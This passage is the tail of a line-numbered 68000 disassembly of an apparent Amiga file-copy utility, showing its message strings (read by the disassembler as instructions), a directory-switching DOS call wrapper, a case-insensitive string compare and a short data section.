  2777.     DC.W    $2573            ;1B82
  2778.     MOVEQ    #117,D0            ;1B84: 7075
  2779.     MOVEQ    #32,D2            ;1B86: 7420
  2780.     MOVE.L    -(A0),-(A6)        ;1B88: 2D20
  2781.     DC.W    $0000            ;1B8A
  2782. LAB_00B1:
  2783.     DC.W    $433A            ;1B8C
  2784.     DC.W    $0000            ;1B8E
  2785. LAB_00B2:
  2786.     NEG    -(A5)            ;1B90: 4465
  2787.     DC.W    $7374            ;1B92
  2788.     BVS.S    LAB_00C1        ;1B94: 696E
  2789.     BSR.S    LAB_00C3        ;1B96: 6174
  2790.     DC.W    $696F            ;1B98
  2791.     BGT.S    LAB_00B5        ;1B9A: 6E20
  2792.     DC.W    $6D75            ;1B9C
  2793.     DC.W    $7374            ;1B9E
  2794.     MOVEA.L    -(A2),A0        ;1BA0: 2062
  2795.     BCS.S    LAB_00B6        ;1BA2: 6520
  2796.     BSR.S    LAB_00B7        ;1BA4: 6120
  2797.     DC.W    $6469            ;1BA6
  2798. LAB_00B3:
  2799.     MOVEQ    #101,D1            ;1BA8: 7265
  2800.     BLS.S    LAB_00C5        ;1BAA: 6374
  2801.     BLE.S    LAB_00C5        ;1BAC: 6F72
  2802.     DC.W    $792E            ;1BAE
  2803.     DC.W    $0A00            ;1BB0
  2804. LAB_00B4:
  2805.     MOVE.L    -(A0),D0        ;1BB2: 2020
  2806.     MOVE.L    -(A5),D0        ;1BB4: 2025
  2807.     DC.W    $7320            ;1BB6
  2808.     MOVE.L    -(A0),D0        ;1BB8: 2020
  2809.     SUBQ    #5,-(A3)        ;1BBA: 5B63
  2810. LAB_00B5:
  2811.     MOVEQ    #101,D1            ;1BBC: 7265
  2812.     BSR.S    LAB_00C8        ;1BBE: 6174
  2813.     BCS.S    LAB_00C7        ;1BC0: 6564
  2814.     DC.W    $5D0A            ;1BC2
  2815. LAB_00B6:
  2816.     DC.W    $0000            ;1BC4
  2817. LAB_00B7:
  2818.     DC.W    $2573            ;1BC6
  2819.     DC.W    $2028            ;1BC8
  2820. LAB_00B8:
  2821.     DC.W    $4469            ;1BCA
  2822. LAB_00B9:
  2823.     MOVEQ    #41,D1            ;1BCC: 7229
  2824.     DC.W    $0000            ;1BCE
  2825. LAB_00BA:
  2826.     DC.W    $0A49            ;1BD0
  2827.     BGT.S    LAB_00C9        ;1BD2: 6E66
  2828.     BVS.S    LAB_00CA        ;1BD4: 696E
  2829.     BVS.S    LAB_00CB        ;1BD6: 6974
  2830.     BCS.S    LAB_00BF        ;1BD8: 6520
  2831.     DC.W    $6C6F            ;1BDA
  2832.     BLE.S    LAB_00CC        ;1BDC: 6F70
  2833.     MOVEA.L    28192(A1),A0        ;1BDE: 20696E20
  2834. LAB_00BB:
  2835.     MOVE.L    -(A5),D1        ;1BE2: 2225
  2836.     DC.W    $7322            ;1BE4
  2837.     MOVE.L    A2,D7            ;1BE6: 2E0A
  2838.     DC.W    $0000            ;1BE8
  2839. LAB_00BC:
  2840.     DC.W    $0A00            ;1BEA
  2841. LAB_00BD:
  2842.     MOVE.L    -(A0),D0        ;1BEC: 2020
  2843. LAB_00BE:
  2844.     MOVEA.L    (A3)+,A0        ;1BEE: 205B
  2845.     BLS.S    LAB_00D0        ;1BF0: 6372
  2846.     DC.W    $6561            ;1BF2
  2847.     MOVEQ    #101,D2            ;1BF4: 7465
  2848.     DC.W    $645D            ;1BF6
  2849.     DC.W    $0A00            ;1BF8
  2850. LAB_00BF:
  2851.     DC.W    $6F75            ;1BFA
  2852.     MOVEQ    #0,D2            ;1BFC: 7400
  2853. LAB_00C0:
  2854.     MOVE.L    -(A0),D0        ;1BFE: 2020
  2855.     MOVE.L    -(A5),D0        ;1C00: 2025
  2856.     DC.W    $732E            ;1C02
  2857. LAB_00C1:
  2858.     MOVE.L    D0,D7            ;1C04: 2E00
  2859. LAB_00C2:
  2860.     MOVEQ    #101,D1            ;1C06: 7265
  2861.     BSR.S    LAB_00D1        ;1C08: 6164
  2862.     DC.W    $0000            ;1C0A
  2863. LAB_00C3:
  2864.     DC.W    $7772            ;1C0C
  2865.     BVS.S    LAB_00D4        ;1C0E: 6974
  2866.     DC.W    $0000            ;1C10
  2867. LAB_00C4:
  2868.     DC.W    $4572            ;1C12
  2869.     MOVEQ    #111,D1            ;1C14: 726F
  2870.     MOVEQ    #32,D1            ;1C16: 7220
  2871.     BVS.S    LAB_00D5        ;1C18: 696E
  2872.     MOVE.L    -(A5),D0        ;1C1A: 2025
  2873.     DC.W    $7369            ;1C1C
  2874.     DC.W    $6E67            ;1C1E
  2875. LAB_00C5:
  2876.     MOVE.L    8192(A5),D0        ;1C20: 202D2000
  2877. LAB_00C6:
  2878.     NEG    -(A5)            ;1C24: 4465
  2879. LAB_00C7:
  2880.     DC.W    $7374            ;1C26
  2881.     BVS.S    LAB_00D7        ;1C28: 696E
  2882.     BSR.S    LAB_00D8        ;1C2A: 6174
  2883.     DC.W    $696F            ;1C2C
  2884.     BGT.S    LAB_00CD        ;1C2E: 6E20
  2885.     DC.W    $6669            ;1C30
  2886.     DC.W    $6C65            ;1C32
  2887. LAB_00C8:
  2888.     MOVE.L    -(A2),D0        ;1C34: 2022
  2889.     DC.W    $2573            ;1C36
  2890.     MOVE.L    -(A0),D1        ;1C38: 2220
  2891. LAB_00C9:
  2892.     MOVEQ    #101,D1            ;1C3A: 7265
  2893.     DC.W    $6D6F            ;1C3C
  2894.     MOVEQ    #101,D3            ;1C3E: 7665
  2895.     BCC.S    LAB_00D2        ;1C40: 642E
  2896.     DC.W    $0A00            ;1C42
  2897. LAB_00CA:
  2898.     DC.W    $636F            ;1C44
  2899.     MOVEQ    #105,D0            ;1C46: 7069
  2900.     BCS.S    LAB_00DA+2        ;1C48: 6564
  2901.     MOVE.L    A2,D7            ;1C4A: 2E0A
  2902. LAB_00CB:
  2903.     DC.W    $0000            ;1C4C
  2904. LAB_00CC:
  2905.     DC.W    $2573            ;1C4E
  2906. LAB_00CD:
  2907.     MOVE    -(A0),D5        ;1C50: 3A20
  2908.     DC.W    $0000            ;1C52
  2909. LAB_00CE:
  2910.     DC.W    $2573            ;1C54
  2911.     MOVE.L    8192(A5),D0        ;1C56: 202D2000
  2912. LAB_00CF:
  2913.     MOVE.L    -(A0),D0        ;1C5A: 2020
  2914.     MOVE.L    -(A0),D0        ;1C5C: 2020
  2915.     MOVE.L    -(A0),D0        ;1C5E: 2020
  2916.     MOVE.L    -(A0),D0        ;1C60: 2020
  2917.     DC.W    $0000            ;1C62
  2918. LAB_00D0:
  2919.     MOVEM.L    D5-D7/A2-A3/A6,-(A7)    ;1C64: 48E70732
  2920.     MOVEA.L    A0,A3            ;1C68: 2648
  2921.     MOVE.L    D0,D7            ;1C6A: 2E00
  2922.     MOVEA.L    A1,A2            ;1C6C: 2449
  2923. LAB_00D1:
  2924.     TST.L    D7            ;1C6E: 4A87
  2925. LAB_00D2:
  2926.     BEQ.S    LAB_00D3        ;1C70: 670A
  2927.     MOVE.L    D7,D1            ;1C72: 2207
  2928.     MOVEA.L    A2,A6            ;1C74: 2C4A
  2929.     JSR    -126(A6)        ;1C76: 4EAEFF82
  2930.     MOVE.L    D0,D6            ;1C7A: 2C00
  2931. LAB_00D3:
  2932.     MOVE.L    A3,D1            ;1C7C: 220B
  2933.     MOVEA.L    A2,A6            ;1C7E: 2C4A
  2934.     JSR    -828(A6)        ;1C80: 4EAEFCC4
  2935. LAB_00D4:
  2936.     MOVE.L    D0,D5            ;1C84: 2A00
  2937.     TST.L    D7            ;1C86: 4A87
  2938. LAB_00D5:
  2939.     BEQ.S    LAB_00D6        ;1C88: 6706
  2940.     MOVE.L    D6,D1            ;1C8A: 2206
  2941.     JSR    -126(A6)        ;1C8C: 4EAEFF82
  2942. LAB_00D6:
  2943.     MOVE.L    D5,D0            ;1C90: 2005
  2944.     MOVEM.L    (A7)+,D5-D7/A2-A3/A6    ;1C92: 4CDF4CE0
  2945.     RTS                ;1C96: 4E75
  2946. LAB_00D7:
  2947.     MOVEM.L    D6-D7/A3/A6,-(A7)    ;1C98: 48E70312
  2948.     MOVE.L    D0,D7            ;1C9C: 2E00
  2949.     MOVEA.L    A0,A3            ;1C9E: 2648
  2950. LAB_00D8:
  2951.     MOVEQ    #0,D6            ;1CA0: 7C00
  2952.     BRA.S    LAB_00DB        ;1CA2: 600E
  2953. LAB_00D9:
  2954.     LEA    LAB_00CF(PC),A0        ;1CA4: 41FAFFB4
  2955.     MOVE.L    A0,D1            ;1CA8: 2208
  2956.     MOVEA.L    A3,A6            ;1CAA: 2C4B
  2957. LAB_00DA:
  2958.     JSR    -948(A6)        ;1CAC: 4EAEFC4C
  2959.     ADDQ.L    #1,D6            ;1CB0: 5286
  2960. LAB_00DB:
  2961.     CMP.L    D7,D6            ;1CB2: BC87
  2962.     BLT.S    LAB_00D9        ;1CB4: 6DEE
  2963.     MOVEM.L    (A7)+,D6-D7/A3/A6    ;1CB6: 4CDF48C0
  2964.     RTS                ;1CBA: 4E75
  2965. LAB_00DC:
  2966.     MOVE.L    D7,-(A7)        ;1CBC: 2F07
  2967.     MOVE.L    D0,D7            ;1CBE: 2E00
  2968.     MOVEQ    #100,D0            ;1CC0: 7064
  2969.     ADD.L    D0,D0            ;1CC2: D080
  2970.     CMP.L    D0,D7            ;1CC4: BE80
  2971.     BLE.S    LAB_00DD        ;1CC6: 6F20
  2972.     MOVEQ    #116,D0            ;1CC8: 7074
  2973.     ADD.L    D0,D0            ;1CCA: D080
  2974.     CMP.L    D0,D7            ;1CCC: BE80
  2975.     BGE.S    LAB_00DD        ;1CCE: 6C18
  2976.     MOVE.L    D7,D0            ;1CD0: 2007
  2977.     MOVEQ    #54,D1            ;1CD2: 7236
  2978.     NOT.B    D1            ;1CD4: 4601
  2979.     SUB.L    D1,D0            ;1CD6: 9081
  2980.     MOVEQ    #1,D1            ;1CD8: 7201
  2981.     ASL.L    D0,D1            ;1CDA: E1A1
  2982.     ANDI.L    #$03163000,D1        ;1CDC: 028103163000
  2983.     BEQ.S    LAB_00DD        ;1CE2: 6704
  2984.     MOVEQ    #1,D0            ;1CE4: 7001
  2985.     BRA.S    LAB_00DE        ;1CE6: 6002
  2986. LAB_00DD:
  2987.     MOVEQ    #0,D0            ;1CE8: 7000
  2988. LAB_00DE:
  2989.     MOVE.L    (A7)+,D7        ;1CEA: 2E1F
  2990.     RTS                ;1CEC: 4E75
  2991.     DC.W    $0000            ;1CEE
  2992. LAB_00DF:
  2993.     MOVEQ    #0,D0            ;1CF0: 7000
  2994.     MOVEQ    #0,D1            ;1CF2: 7200
  2995. LAB_00E0:
  2996.     MOVE.B    (A0)+,D0        ;1CF4: 1018
  2997.     MOVE.B    (A1)+,D1        ;1CF6: 1219
  2998.     CMPI.B    #$61,D0            ;1CF8: 0C000061
  2999.     BLT.S    LAB_00E1        ;1CFC: 6D0A
  3000.     CMPI.B    #$7A,D0            ;1CFE: 0C00007A
  3001.     BGT.S    LAB_00E1        ;1D02: 6E04
  3002.     SUBI.B    #$20,D0            ;1D04: 04000020
  3003. LAB_00E1:
  3004.     CMPI.B    #$61,D1            ;1D08: 0C010061
  3005.     BLT.S    LAB_00E2        ;1D0C: 6D0A
  3006.     CMPI.B    #$7A,D1            ;1D0E: 0C01007A
  3007.     BGT.S    LAB_00E2        ;1D12: 6E04
  3008.     SUBI.B    #$20,D1            ;1D14: 04010020
  3009. LAB_00E2:
  3010.     SUB.L    D1,D0            ;1D18: 9081
  3011.     BNE.S    LAB_00E3        ;1D1A: 6604
  3012.     TST.B    D1            ;1D1C: 4A01
  3013.     BNE.S    LAB_00E0        ;1D1E: 66D4
  3014. LAB_00E3:
  3015.     RTS                ;1D20: 4E75
  3016.     DC.W    $0000            ;1D22
  3017.  
  3018.  
  3019.     SECTION S_2,DATA
  3020.  
  3021. SECSTRT_2:
  3022.     DC.L    LAB_00A8        ;1D24: 00001AD2
  3023.     DS.W    2            ;1D28
  3024.     END
  3025.